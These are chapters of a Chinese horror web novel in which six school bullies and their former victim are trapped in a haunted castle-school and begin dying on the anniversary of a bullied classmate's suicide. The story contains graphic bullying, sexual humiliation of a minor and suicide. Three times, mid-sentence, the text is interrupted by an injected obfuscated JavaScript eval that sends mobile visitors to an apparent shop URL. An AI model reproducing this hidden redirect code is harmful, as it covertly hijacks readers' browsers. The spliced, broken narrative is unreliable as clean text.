《做鬼也会放过你》 2. 梦幻城堡 那是一具缠满胶带的尸体。 不知道死了多久,一股恶臭从胶带的缝隙散漏出来,容霏霏等人捂着鼻子,退到最远处。 谢博彦指天发誓,自己刚才绝对没看到这玩意。 你没看到,那他妈还能是凭空冒出来的? 这辆房车是朱志远的心头肉。那叫一个晦气。 胶带尸体刚好卡在车底,挪走才能继续开车。 在场没人愿意挪动这玩意儿,回到房车上,朱志远驾车,打算直接碾过去。 碾一次。 嘎吱。 没碾过。 再来一次。 嘎吱。 没成功。 第三次。 嘎吱吱吱吱吱—— 嘎吱。 终于通过了。 透过后视镜,潮曳冷不丁看见那具尸体的惨状: 布满胶带的尸身上留下数道深深车辙,有些地方甚至凹陷下去,骨肉都变形了,脸部最惨,细长的黑发丝从胶带边缘露出,看起来油油黏黏的,一只布满红血丝的眼睛隐藏在发丝间,和她对上目光…… 潮曳猛地甩了甩头。 车子开出老远,众人只把这当作一个小插曲。 可没想到,今天的插曲有点多了。 外头下起雪。 容霏霏率先注意到:“开玩笑的吧,这是十月诶?还是屿城?怎么会下雪?” “真的下雪了?Oh my god.”章丽宝掏出手机,咔咔拍了好几张照。 容霏霏见状也赶紧拍了照片,两人又拍了合照,嘟嘴,比心,吐舌,一连串动作。 雪越下越大。 山路间一片白茫茫,转瞬几乎都被大雪覆盖。 车子再次熄火,这次怎么都无法启动。 山里信号差,加上下了大雪,手机打不出去。 乔菱纱提议,一直朝山下走就能回到学校,找薛老师想想办法吧。 几人从房车下来,徒步出发。 章丽宝穿得最少,浑身在抖。 天气预报根本没说今天会下雪,不,无论怎么想,屿城的十月份都不会下雪的。 事实上,屿城已经好几年没有下过雪,哪怕最冷的时候,气温都能有十度。 上一次下这样大的雪,还是六年前那一天…… “喂,林潮曳。”章丽宝拽了拽潮曳的帽子,“把你外套脱下来。” 潮曳乖乖将连帽衫脱下。 “我也好冷啊潮曳。”容霏霏对着掌心呼出白雾,“你和我换双鞋。” 潮曳把马丁靴脱下,和容霏霏的拖鞋做了交换。 “你们好过分啊。”乔菱纱道,“欺负小潮曳一个女孩子。” 乔菱纱取下别在腰间的装饰丝巾,系在潮曳的脖子上,打了个蝴蝶结,微笑道:“别冻着了。” 雪越来越大。 奇怪的是,他们一直没走下山,明明只有这一条路,沿着走总能到学校。 可天都黑了,只在原地打转。 雪,到处都是飘落的雪花。 几人冻得浑身发抖,衣服最少的潮曳已经出现失温症的症状,意识变得模糊,只觉得脖子上的丝巾冰冰凉凉,散发出令人不安的柑橘香水味。 “学校!是学校!咱们得救了!!!” 周行之激动的声音唤回潮曳的意识。 她朝前方望去,映入眼帘的是“名屿中学”四个字。 不知为何,她第一时间觉得这很奇怪。 刚刚才拍过合照。 照片里学校的名字明明是金色的。 而眼前这个“名屿中学”—— 是蓝色的。 * 纷飞大雪被阻挡在外,温暖空气包围众人。 “纱纱,来这我给你暖暖,冻坏了吧。” 乔菱纱拍打掉身上的碎雪,朝沙发上的朱志远走去,边环望四周:“咦?这个地方,不是名屿呀……” “别说不是名屿,这根本不像间学校。”周行之也觉察不对,“难不成是……城堡?” 面前场景的确令人恍惚。 除了门口写着“名屿中学”四个字外,这栋建筑内部的景象和学校完全大相径庭。 这里没有操场,有的是一间极为宽阔的会客厅。 高耸的天花板布满华丽装饰,巴洛克风格的水晶吊灯洒落着光芒,地上铺设着一看便价格不菲的长毛绒地毯,壁炉里烧着火,显然是刚点起来的。 众人参观一圈,发现不止壁炉点了火,餐厅里也摆满了新鲜出炉的美食,香草羊排、菠萝烤鸡、龙虾、红酒、巧克力喷泉和各种各样的糕点,甚至是火锅、麻辣烫、烧鸟、刺身一类,应有尽有。 这很诡异。 这里除了他们之外,没有别的人。 如果有人做了这么多的菜,那他人去哪里了? 朱志远拿起桌上的羊排:“高潮,你尝一口。” 潮曳在心里把朱志远剁成了一块一块的肉块,接过羊排,浅咬了一口。 “就这样吃了别人的东西,不太好吧。”乔菱纱故意在潮曳吃了后才开口。 “潮曳,你是不是太饿了啊。”章丽宝道,“不过我就算再饿也做不出这种没礼貌的事情来。” 哇,那你好棒呀。 潮曳咽下羊排。老实说,这味道非常好。 乔菱纱等人看着潮曳吃东西的样子,也有些饿了。 等了十分钟左右,见潮曳人无异常,朱志远仍有些不放心,又让谢博彦喝了杯子里的红酒。 见两个人吃喝完都好端端的,朱志远终于按捺不住食欲,残猪开始进食了。 喜猪婆紧随其后,她品尝一口残猪喂给她的食物,刻意露出惊艳表情:“好好吃!” “这厨艺堪比我家的厨师了。”周行之边吃着烤鸡边道。 “这酒的味道也非常delicious,没想到能在国内喝到这么纯的味道。”章丽宝道。 “哎呀丽宝,我也要喝。”容霏霏道。 …… 酒足饭饱,扫荡一空。 望着六人的模样,潮曳想起《千与千寻》里的场景。 猪。 希望他们吃完就变成真的猪。 她要用鞭子把他们打得皮开肉绽,哼哧哼哧乱叫。 她要把章丽宝的头按进酒缸里,看着她不停挣扎,她要朱志远和乔菱纱吃掉猪粪,周行之和容霏霏喝光泔水,谢博彦被猪尿淹死。 “小潮曳,你怎么一口都不吃?” “我……” “我这刚好还剩点。”朱志远剔着牙,将一盘满满当当的小龙虾壳推过来,“你吃光吧。” “……” “靠!嫌弃你志远哥口水是吗?!给你胆子了?!” 潮曳迅速端起盘子,像毫无自主意识的实验犬一样机械地吞下坚硬的龙虾壳,舌头被划破,就着自己的血继续吞咽,吞咽,直到残猪满意地露出笑容: “这还差不多。” 走出餐厅,来到娱乐厅,里面有各种各样的游戏设施。 VR游戏,桌游,麻将,轮盘,棋牌……还有一些少儿不宜的成人游戏道具。 “这到底是个什么地方?一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763673|190162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间学校里怎么会有这些东西?” 嘴上这样说着,六人还是兴致勃勃地玩了起来。 本来他们这趟就是来山上玩的,这下不过换个场所,体验还更好。 一开始乔菱纱还有点顾忌,如果这地方的主人突然回来了怎么办? 朱志远让她不用在意,大不了给点钱,钞票能打发所有抱怨,打发不了就多给几张。 他们干脆在这开起了派对,播放起土到掉渣的流行音乐,激情地拥吻在一起,猪圈传来交.配的气氛。 章丽宝在场,容霏霏只能看着她和周行之你侬我侬。 六人组中就她和谢博彦没有官方交.配对象。 “喂,谢博彦。你在喝什么?” “酒。” “问你喝的是什么酒。” “……” “切。不解风情。” 容霏霏看不上秃头驴,谢博彦一人坐着喝酒,目光偶尔会落在乔菱纱的身上。 一群人都醉醺醺的,空气里充斥着糜烂和□□。 …… impart。 猪圈开impart。 醉醺醺的猪头们忙着交.配,无暇顾及欺凌对象,潮曳终于可以偷偷溜出去呼吸口新鲜空气。 窗外大雪依旧。 望着这神圣而洁白的物质,潮曳几乎不由自主地想到了那个人。 六年前死去的家伙。 他的名字里。 也有雪。 * “介绍一下,这是新来的转学生。来,和大家介绍下自己吧。” “我叫雪溯。” 美少年。 这是潮曳对雪溯的第一印象。 “姓雪吗?好神奇的姓氏”、“哪个溯啊”、“欢迎欢迎”、“不要男的我要美女”、“好帅”…… 台下嗡嗡作鸣。 看清雪溯的脸后,这些鸣叫化为一片死寂。 单看右半张脸,这个叫雪溯的少年简直俊美无俦。 如陶瓷般白皙光滑的皮肤,长长的睫毛,略带忧郁气质的黑色眼睛,仿佛有无穷话语想对你说。 唇却微微抿着,有一点不近人情的冷淡,又像是初到新环境想要隐藏起来的怯意和羞赧。 任谁看到这张脸,都会呆住。 可左半张脸完全不是一回事。 怎么搞的!? 妈呀吓死人了。 好恶心。 女生们用手捂住脸,男生们发出嘘声。 只有潮曳仍呆望着叫雪溯的少年。 “安静,安静下来。”当时的班主任还不是薛宣仁,而是一个古板做派的女老师,“多大点事叽叽喳喳的。新同学小时候生病做过一场手术,留下了后遗症。大家以后要和他好好相处,听到了没?” 如果她口中的后遗症指的是这种事情。 那不是和毁掉世界上最漂亮的画作一样残忍吗? 少年的左脸,有着和右边不一样大的眼睛,眉毛和嘴巴也微微偏离了位置,无法摆出任何表情。 僵硬、麻木、甚至有点搞笑。两只眼睛的瞳色都不一样,左眼虹膜褪为极淡的蓝色,像一个什么都感受不到的瞎子。 美丽和丑陋出现在同一张脸上。 潮曳撤回了“美少年”的评价。 这个人的人生估计和我一样可怜。 潮曳想。 从能感受到世界起,就因为这张脸承受了无尽的嘲笑吧? 她懂得。 她明白。 可后来,潮曳才知道,她和雪溯根本是截然不同的人。 3. 雪的微笑 那个时候,潮曳已经被六人组欺负了整整两年。 从高一到高二,她作为乔菱纱等人的奴隶,受到了无尽屈辱。 言语上的霸凌是每日定食,身体上的虐待则算特色菜。 每天早上睁开眼,潮曳就恐惧去学校这件事。 本身性格就很阴暗的潮曳,在六人组的精神折磨下,逐渐变得更加敏感,举止也变得怪异。 她会在饭桌上说胡话,一点风吹草动就反应过度。 疯疯癫癫叫嚷,又突然讲起冷笑话。 她想引起大人的注意,注意到她被剪短的头发,被烧烂好几个洞的校服裤子,愈来愈下滑的成绩。 可惜潮曳生在一个没有多余的爱分给她的经典款重男轻女家庭。 父母亲在潮曳六岁那年拥有一个号称是“上天赐予的礼物”的可爱儿子。 弟弟长得比潮曳好看,学习比潮曳好,嘴巴比潮曳甜,最重要的当然还是比潮曳多了一样器官。 没人会在意潮曳的头发和裤子。 成绩单虽然变得难看,但大人往往会说:“女孩子就是考不过男孩,没关系,以后嫁个好人家就行了。” 潮曳偷偷也做了爸爸妈妈和弟弟的诅咒娃娃,放在六人组的娃娃旁边。 没关系,你们都给我去死。 我扎。 我扎。 狠狠扎。 也许是因为她这个奴隶当得太成功了,渐渐的,乔菱纱等人减少了欺凌。 六人组不管做什么事都会带上潮曳,还以“好朋友”称呼,有一点把她纳入他们圈子里的意味—— 一只听话的宠物,欺负腻了,换一种把玩的方式吧。 他们将目标转向班上的其他人。 有人退学,有人转校,有人生了一场大病,再也不来上课。 某种意义上,潮曳甚至算幸运的了。 在潮曳的脑中,乔菱纱等人已经以各种各样的方式惨死过一次又一次。 她依赖这种方式汲取生存的动力。 在幻想的国度她是无所不能的残忍国王,对邪恶霸凌者进行制裁。 在现实的地狱里她是什么都没有的可怜虫,没有人在意,没有人关心。霸凌六人组甚至是她唯一的“朋友”。 就算不被欺负,她也是世界上最阴影之处的一粒尘埃。 直到。 转学生雪溯的到来。 一切开始朝意想不到的发展滑去。 乔菱纱看上了雪溯。 虽然一半的脸很奇怪,但另外半张是真好看啊。 何况雪溯成绩那么好,来了名屿后就占据了年纪第一。 他的声音也很好听,就像雪一样,浅浅淡淡的。不爱开口说话,看起来有点冷淡孤高,却会因老师表扬成绩而害羞。 他身上散发出一种不同于班级任何男生的气质,如果一定要形容,就是像雪一样冰清玉洁、不可亵渎。 想来乔菱纱也不是真的有恋猪癖。 她还是能分清完整的猪和有瑕疵的玉的区别的。 但雪溯拒绝了乔菱纱的表白。 没有任何借口,和回旋余地。 “我不喜欢你。也不会喜欢你的。” 乔菱纱长得很漂亮,大眼睛,白皮肤,烫得卷卷的长发。 光看她的脸,无法想象皮囊之下有这样一颗恶毒的心。 可她被雪溯拒绝了。 一个面瘫大小眼怪物,拒绝了我的示爱?!! 乔菱纱那恶毒扭曲的心灵大概被愤怒填塞得要爆裂了。 雪溯成为新的霸凌对象。 这场灭绝人性的暴力,持续了整个高三。 从始至终,雪溯都没有向霸凌者低头。 * “你在这里干嘛呢?” 声音唤回潮曳的思绪。 乔菱纱等人醉得不省人事,谢博彦还有点意识,但也靠倒在沙发上。他们还真把这当成派对了。 和潮曳说话的是容霏霏。 她丢来东西:“喏,你的鞋,不需要了。” 潮曳接住鞋子。容霏霏上下扫了她一眼,忽然“哎”了一声:“潮曳,你是不是在减肥啊?” “没、没有。” “看起来瘦了一点啊。哈哈,是不是有喜欢的男人了?” “不、不是。” 啪。 容霏霏给了她一巴掌。 潮曳茫然望着地面,容霏霏揉了揉手心:“别老是用否定句。我现在心情不太好,知道吗。” 因为你喜欢的男人正躺在别的女人怀里你只能干看着你个□□烂女人给我去死吧。 潮曳乖乖地点了点头。 * 如果说朱志远的霸凌是一种直接的暴力。 章丽宝和周行之的霸凌是一种娱乐方式。 乔菱纱的霸凌是一种精神层面的绝对PUA。 那么容霏霏的霸凌就是性焦虑的表现。 这些道理当然是潮曳成人后才明白的,她看了不少关于应激创伤和施虐者心理分析的书籍。 对高中的潮曳,六人组就是一团漆黑、混沌的邪恶集合体,让她知道人之初性本恶,她无法做出具体区分,更不知应对方法。 对雪溯的欺负从孤立和排挤他开始。 对一个初来乍到、脸部有畸形特征的转学生来说再容易施行不过。 他们给雪溯起了外号。 “半脸碎尸杀人魔”。 理由是“长这样一张脸,很容易心理扭曲,最后变成杀人犯。” 他们往雪溯的课本上涂鸦。 涂鸦内容是“雪溯”和女人,有的时候是男人。 “半脸碎尸强.奸杀人魔”。 他们在黑板上写“雪溯是同性恋”。性压抑到变态的中学生,找到发泄的出口。 语言只是开始,身体上的虐待不会缺席。 朱志远将雪溯叫了出来,先是问:“你最近是不是骚扰菱纱了?” “我没有。” “还否认!她都和我说了!你想要摸她的胸,还想强她!面瘫脸怪物,看我不揍死你!” 朱志远一脚踢中雪溯的腹部,雪溯只是蜷缩了身子,连一声痛呼都没发出。 掌掴,围殴,往头上倒冷水,将脸按进厕所马桶,逼吃剩菜剩饭。 花招各异,但核心只有一点:摧毁所有人格尊严,避开致死要害。 百玩不赖。 有多少人抑郁休 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763674|190162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学,甚至再也无法走出家门。潮曳不得而知。 那一次是容霏霏提议的。 雪溯被身强力壮的朱志远和周行之架到了女厕所里。 “穿这么多不热吗?来来来。” 他们让他脱掉衣服。 雪溯不肯。 那就硬来。 容霏霏发出尖叫,捂住了眼睛。 明明是她所提议,这会儿又像看到见不得人的东西。 “我草。半脸怪,你不会——” “看不出来这家伙有这么——真是人不可貌相!” “好恶心。不要再说啦~” “拍照吧,拍照!”周行之吹了声口哨,“潮曳,你来!” 对准面前人的身体。 咔嚓。 咔嚓。 拍下照片。 闪光灯刺入眼中,雪溯伸手阻挡。 那只淡蓝色的眼睛在雪白闪灯中和潮曳第一次对上视线,她不知道他在想什么。 如果是她,肯定已经哭出来,跪在地上求饶。 可蓝眼少年一言不发。 鬼使神差,潮曳瞟了一眼他,那句“看不出来”萦绕在耳边。 他们把雪溯反锁在了卫生间。 衣服和鞋子全被拿走。如果想出来,只能等天亮时来做卫生的保洁阿姨发善心。 放学铃响,学校里的老师同学都走光了。 潮曳做出了一个大胆的决定。 她打开了卫生间的锁,看到缩在角落的少年,将衣物塞还给他,迅速地跑开。 没有说一句话。 夜晚,潮曳躺在床上,做了人生第一个旖梦。 对象是有着一只淡蓝色眼睛的少年。他强得吓人,从头到尾像身处云端,不可思议。 * 雪越下越大。 乔菱纱等人的酒醒了,这场大雪也不见停止。 “这房子的主人到底还回不回来?不回来的话,干脆咱们今晚也住这吧。”周行之提议道。 “我刚上去转了一趟,楼上有教室和宿舍,宿舍的床铺特fortable。所以这里其实还是学校?”章丽宝道。 “不见了。”谢博彦忽然道。 众人奇怪地望着他,顿了两秒才反应过来。 是容霏霏。 她不见了。 “可能出去了。” “这么大的雪,霏霏又不是傻子。” “那怎么不见人影?奇了怪了。” “霏霏,霏霏,容霏霏,你在哪里?” 没有回应。 楼上猛然传来尖叫,撕心裂肺,痛苦至极。 众人惊慌对视,花了一会儿才反应过来,奔至了二楼。 在卫生间内,看见了容霏霏。 她倒在地上,身上没有任何衣物,只盖着一件床单,尚有一口气,却像被什么恐怖至极的东西纠缠着浑身抽搐。 四周到处是容霏霏的照片,笑的,哭的,自拍照,证件照,合照……贴满了整个厕所。 周行之走上前,在他触碰到容霏霏的前一刻,地上的女人从喉咙深处发出痛苦的声音: “……我……错了……对……不起……救……命……” 4. 只是开始 容霏霏死了。 在众人的面前。 咽下了最后一口气。 死得痛苦万分。 章丽宝爆发尖叫,大喊着“鬼啊”逃离了厕所。 他们来到出口,只想立刻从这里逃离。 然而,门打不开。 像被旱死了一样。 窗户也是。 朱志远找来一把斧头,猛地往玻璃上砸去。 纹丝不动。 再砸一次。 斧头碎了。 见了鬼了。 所有人的手机都没有信号。拨通不了电话。 雪却越来越大,窗外几乎只有一片白色,连房车的影子都看不到了。 “喂,这到底是怎么一回事?!”朱志远爆喝,“林潮曳?!” 潮曳颤颤巍巍地摇头:“我……我……”她怎么会知道? “这学校不对劲。”谢博彦道,“我刚刚用手机上自带的地图查看过,这附近根本就没有标注这个建筑物,不知道为什么它会出现在这里。” “地图上没有?!那为什么这个地方也叫名屿中学,到底怎么回事!” “志远,你冷静一点。”乔菱纱开口道,“从现在开始,我们都呆在一起,不要分开。” “你说什么?” “虽然不知道霏霏身上发生了什么,但她是落单后才出事的,只要我们一直待在一块,凶手就无法再次下手。” 众人听了乔菱纱的话,围坐在大厅的沙发上。 “然……后呢?” “等雪停吧。说不定雪停后手机就有信号了。” 等待是一件磨人的事。 何况楼上的厕所还有一具莫名而死的尸体。 周行之打开了电视。 想着或许能有什么娱乐节目,放松一下心情也好。 电视里在播放一部电影。 电影讲的是有两个学生,一直被班级里的同学欺负。 直到有一天他们忍无可忍,带着自制的枪,打算突突掉学校所有人。 在执行这个疯狂任务前,这两个被欺负的学生找到了唯一帮助过他们的朋友,让他那天请假在家里,不要来学校。 …… 周行之关掉电视。 “什么狗屁不通的玩意。”他踹了一脚电视,还不够解气,又踹了一脚。 等。 等待。 暴雪停歇。 …… 食物和酒精在作祟,紧张带来的压力,困意涌上来了。 率先反应过来的是乔菱纱,她摇晃着朱志远的肩膀:“志远,醒醒,别睡了!” 朱志远从鼾声中惊醒,一块醒来的还有周行之和谢博彦,以及缩在角落的潮曳。 章丽宝不见了。 尖叫声。 正正好在几人醒来的时候响起。 章丽宝的尸体在餐厅的桌子上。 她的身上有被狗、或者狼之类的食肉动物啃咬过的痕迹。鲜血淋漓,惨不忍睹,应该是被活生生咬死的。 这栋房子里哪里有狼或狗? 周行之双腿发软,直接瘫坐在地上:“这他妈是怎么……” 谢博彦想保持冷静,甚至上前查看了尸体。 可越查看越觉诡异,这样的死法,就像是…… 闹鬼了一样。 上一秒还在肆意喝着酒、开着派对,转眼竟然死了两个人。 恐怖片般的展开。 突然,乔菱纱开口了。 “今天是……几月几号?” 谢博彦看了一眼手机上的日期,回答了她。 沉默。 潮曳则恍惚地想:啊,居然是这一天啊。 六年前的今天。 叫雪溯的转学生跳下天台,自杀身亡。 * 那次出手相助,只出于一种偶然的冲动。 潮曳很清楚这股冲动背后并不纯粹的动机。 之后的几次呢? 恐怕也是类似的理由。 章丽宝家里养了一只名贵的大型犬,温和的犬种,却被驯养得和人一样恶劣。 她让大型犬扑咬雪溯。 那是潮曳第一次看到雪溯的眼中出现恐惧的神色。他很怕狗。 “够了。你们……到底想弄到什么程度?” 什么程度呢。 潮曳想。 当你的自尊变成零,当你的人格消失不见,当你意识到自己只是这群有权有势的人渣们消遣的玩物,当你乖乖低头,发出一声听话的宠物娇叫。 汪呜——主人们——我什么都听你的—— 就可以结束了。 雪溯抱着身子缩在地板上,双目紧闭,大狗在他身上咬了好几口,兴奋地龇牙。 他恐惧不已,浑身都在颤抖,却没有求饶。 为什么? 既然结果都是痛苦。 示弱会让过程好受许多。 一直以来,潮曳都是这样活着的。 当欺凌结束,潮曳走上前,递给他一条毛巾。 满脸脏污的少年再次和她对上视线。 却仍旧什么都没有说。 或许在他眼中,她和人渣是一伙的,这是鳄鱼的眼泪,令人恶心。 * 雪溯死在一个暴雪纷飞的日子。 从楼顶一跃而下,结束了这场漫长的校园霸凌。 半边蓝色眼睛的少年,永远定格在了十八岁。 人渣们的父母和薛宣仁合谋,很快摆平了事端。 将此定为小概率意外事故,需加强校园天台防护栏的高度。 人渣们甚至参加了雪溯的葬礼。 假惺惺的悼词、和悲伤的表演。 这是潮曳第一次见到雪溯的家人。 他的继父和妹妹,和他没有任何血缘关系,收养他只是为了换钱。 雪溯的亲生父母早在他很小的时候就去世了。 朱志远等人一定给了他们一笔丰厚的报酬,以致于继妹在看到哥哥的尸体后差点笑了出来。 冷冰冰的家人变成了温暖的余额。 还有什么比这更感人。 * 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763675|190162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“是他的鬼魂。”周行之大叫道,“是雪溯的鬼魂在作祟!” “你他妈脑子是不是坏了?鬼?哪里有鬼!” “如果不是雪溯,为什么会是今天这个日子?!为什么丽宝和霏霏是以那种样子死去?” 周行之很崩溃。而事实也的确像他所说的那样无法解释。 “你的意思是雪溯来找我们报仇了?”乔菱纱开口,“刚死的时候不报,死了一年不报,偏偏等现在?” “菱纱,你忘记办公室那个老师说的话了吗?6班的人这些年全都得了同一种怪病,除了我们!” “啊,我知道了,因为我们是主谋,而其他人只是看着雪溯被欺负,对他们的惩罚轻一些,只用得怪病就好,而我们,会死,全都会被杀死……被那个怪物——” 啪。乔菱纱给了周行之一巴掌。 “冷静。别说这种胡话。” 周行之捂着脸,呆呆望着她。 “小潮曳,从现在开始,你负责守夜,不许睡。”乔菱纱命令,“志远,你身上带的防身器具全都拿出来。博彦,你留意手机信号,一旦能拨通就立刻报警。” 喜猪婆不愧是喜猪婆。 虽然潮曳恨透她,但只有乔菱纱在这种环境下还能保持冷静。 天色渐渐暗下来,外头的风雪却没有停止迹象。 * 潮曳还是睡着了。 她梦到了雪溯的葬礼。 无人注意的时候,她偷偷拿走了一张他的照片。 照片上的少年,轻轻抿着唇,淡蓝色的眼睛,仿佛在诉说什么,一点冷淡,一点忧郁,惹人怜爱。 潮曳反锁了房间的门。 她咬着雪溯的照片。这种事情她已经做了很多次,每次的对象都是雪溯,每次都很舒服。 她一定是个变态。 没关系。反正没人知道。反正雪溯已经死了。 自我安抚完,虽然很累,但灵感却会爆棚。 潮曳坐在工作台前,做起自己最喜欢的手工。 她的手很丑,又粗、又短,圆溜溜的,像低配的哆啦A梦。 可偏偏这样的潮曳,在手工上有着惊人的天赋。 这是她唯一擅长的事,无论羊毛毡,木雕,积木,模型,手办……她都能还原出栩栩如生的作品,精致得像是店铺里贩售的限量版。 上帝给她留下了这扇窗。 虽然窗户很小,视野很窄,但她最喜欢的时光,就是听着死亡金属乐队“藏尸于我”的歌,一个人在工作台前做各种各样的小东西。 卡通人物。 汽车模型。 六人组的诅咒娃娃。 家人的诅咒娃娃。 班主任薛宣仁的诅咒娃娃。 小动物羊毛毡。 死亡金属乐队藏尸于我的手办。 …… 那天,她还做了一个雪溯的人偶,放在床头。 每次,人偶那只蓝色的眼睛都会静静看着她,仿佛在问“你在做什么?” 又仿佛想说: “需要我帮帮你吗?” 5. 恐怖木雕 回想起来,潮曳其实只和雪溯说过两次话。 一次是午休。 雪溯的午饭连着三天被人渣们倒掉了。 他坐在天台的角落,孤零零的,怀里是空荡的饭盒。 那种不纯粹的冲动动机又出现了。 潮曳走了过去,将早上没有喝的豆奶塞给他。 正打算像前几次一样逃走,却被人叫住了。 “等一下。” 淡蓝色眼瞳。 在正午的阳光照耀下。 变得更淡。 更蓝。 宛如晴天的雪花。 “谢谢。” …… 另一次,是在雪溯自杀的前一个月。 那天正好轮到潮曳做值日。 雪溯不知为什么也在那天值日。 两人沉默地打扫卫生,一人负责一头。 安静的教室内,只有桌椅偶尔抬动的声响。 “为什么那么听他们的话?” 潮曳愣了好几秒,才反应过来他是在跟她说话。 “……哎?” “……” “……” 擦地。 这块角落好脏。 狂擦中。 “你……” 她…… “可以拒绝。” 拒绝? “……反抗。” 反……抗? “他们只是一群纸老虎。” 你不是一直在拒绝和反抗吗? 为什么还是伤痕累累? “你,你不是一直在……反抗?为什么……没有用?” 说出来了。 心底话。 雪溯沉默了。 他转开了头,没有再搭理她。 潮曳心想,可能就像其他同学说的那样。 叫雪溯的转学生真的是个很奇怪的人。 * 没有可以依赖的大人。 没有可以信任的朋友。 没有人教过反抗的方式。 没有人证明反抗是有用。 潮曳什么都没有。 她只知道。 等待。 只要等高三毕业。 就可以离开魔爪了。 只是雪溯没有等到。 …… 糟了。 她居然睡着了。 乔菱纱明明让她守夜来着! 潮曳惊醒过来,环顾一圈四周,不见半个人影。 人呢? “菱纱……志远哥……” 偌大城堡学校内,仿佛只剩下她一个人。 潮曳不相信是雪溯的鬼魂在作祟。 就像乔菱纱说的那样,六年前不报复,怎么偏偏等六年后? 世界上根本没有鬼。 如果有,乔菱纱他们早都死了两亿次了。 前方是一条走廊,尽头的房间亮着灯,门也虚掩着。 潮曳走了进去。 “菱纱,是你们在……” 这是一间艺术室,里头布满学生创作的艺术作品,油画、素描、雕塑、装置艺术…… 其中一张桌子上摆放的木雕吸引了潮曳的注意。 这些木雕全是同一个没有脸的小女孩的形象,只是动作略有不同。 有的站着、有的跳起来、有的手里拿着刀和锯子。 雕刻者对人体造型抓得很准,但是细节处理得太粗糙了。 潮曳拿起其中一个小女孩木雕仔细看了看,如果是她肯定能做得更好。 木雕动了动。 潮曳以为是自己眼花,揉了揉眼睛。 “嘻嘻嘻嘻嘻嘻嘻嘻…………” 尖利笑声从手里的木雕发出,潮曳丢开东西,跑向出口。 然而艺术室的门砰一声合上,无论怎么转动门把都无法打开! “嘻嘻嘻嘻嘻嘻嘻…………” 当潮曳回头,看到了无比惊悚的一幕: 密密麻麻的木雕小人在朝她移动过来! 救命!! 潮曳在艺术室内慌不择路地疯狂逃窜,木雕小人将手里的雕刻刀投掷过来,被她侥幸避开,另一木雕小人拉动手锯切向她的脚踝,她没能再次幸运躲避,一下摔倒在地。 木雕小人将潮曳团团围住,明明没有脸,却不停发出“嘻嘻嘻嘻嘻”的怪笑声,它们手持刀具,竟想把潮曳当木材来雕刻! 潮曳举起背包,挡住了攻击,背包上挂着她做的人偶,刀子在人偶身上划出痕迹。 潮曳心疼不已,忍着疼痛飞快爬起来,跑向艺术室另一扇门! 她撞开那扇门,外面一片昏暗,不知通往哪,身后嘻嘻笑的木雕正在追来,潮曳只得一路朝前狂奔,呼吸像要随时随刻停止。 面前出现了岔路口,一跳往左,一条往右。 选哪边? “小雪,我该选哪边?你告诉我好不好?” 一边眼睛是蓝色的人偶小雪一动不动。 不知是不是被风吹的,它的头朝右边歪了歪。 潮曳立刻朝右边跑。 不知跑了多久,“嘻嘻嘻嘻……”的诡笑声听不见了,她似乎成功将木雕小人们甩开了。 潮曳瘫坐在地上。 不远处有一个女人坐在窗边。 一头长发,背影和乔菱纱有点像。 虽然是恨之入骨的人,但在这样惊悚的环境中,有个伴总比孤身一人要好。 潮曳朝乔菱纱走去,一边开口: “菱纱,你们都去哪里了,我、我一直在找——” “乔菱纱”转过头来。 那根本不是乔菱纱! 惨白的脸,裂开的嘴,浑身散发着青光,脖子处被一把雕刻刀划开,露出糜烂蠕动的血肉,和不停朝外喷涌的血柱,女鬼嘻嘻一笑: “是我呀。” 鬼朝潮曳扑了过来! 潮曳连尖叫都发不出,第一反应就是跑! 可她根本跑不过女鬼,手臂一凉,居然已被女鬼的利爪抓住了!这鬼的手指冷得像刚从冰箱拿出来! 潮曳另一只手在口袋里疯狂摸索,终于找到了手机,对着女鬼的脸咔咔疯狂拍照! 闪光灯刺入眼中,女鬼尖叫着松开了手,潮曳抓准了时机跑开。 她不知道这间城堡学校到底有多大。 跑得心脏都要停跳了,别说找到出口,她连最开始大厅都找不回了。 乔菱纱他们究竟去了哪里…… 难道他们,都已经被刚刚那个女鬼杀掉了吗? 而她也迟早会被女鬼找到。 杀死。 …… 好累。 好饿。 好害怕。 潮曳低下头,脚边落着好几滴血。是刚刚被木雕小人攻击受的伤。 不处理的话,她会不会就这样失血过多而死掉? 感觉比被女鬼杀死要好多了…… 好痛啊。 都是乔菱纱害的。 喜猪婆。 恶魔女。 都是她把她好不容易爬上正轨的人生再次揪回地狱的。 她好恨她。 从小到大没有任何朋友的潮曳,曾经以为乔菱纱会是她第一个朋友。 那句话怎么说的来着? 因为没有遇到过真正对你好的人,才会把别人施舍的一 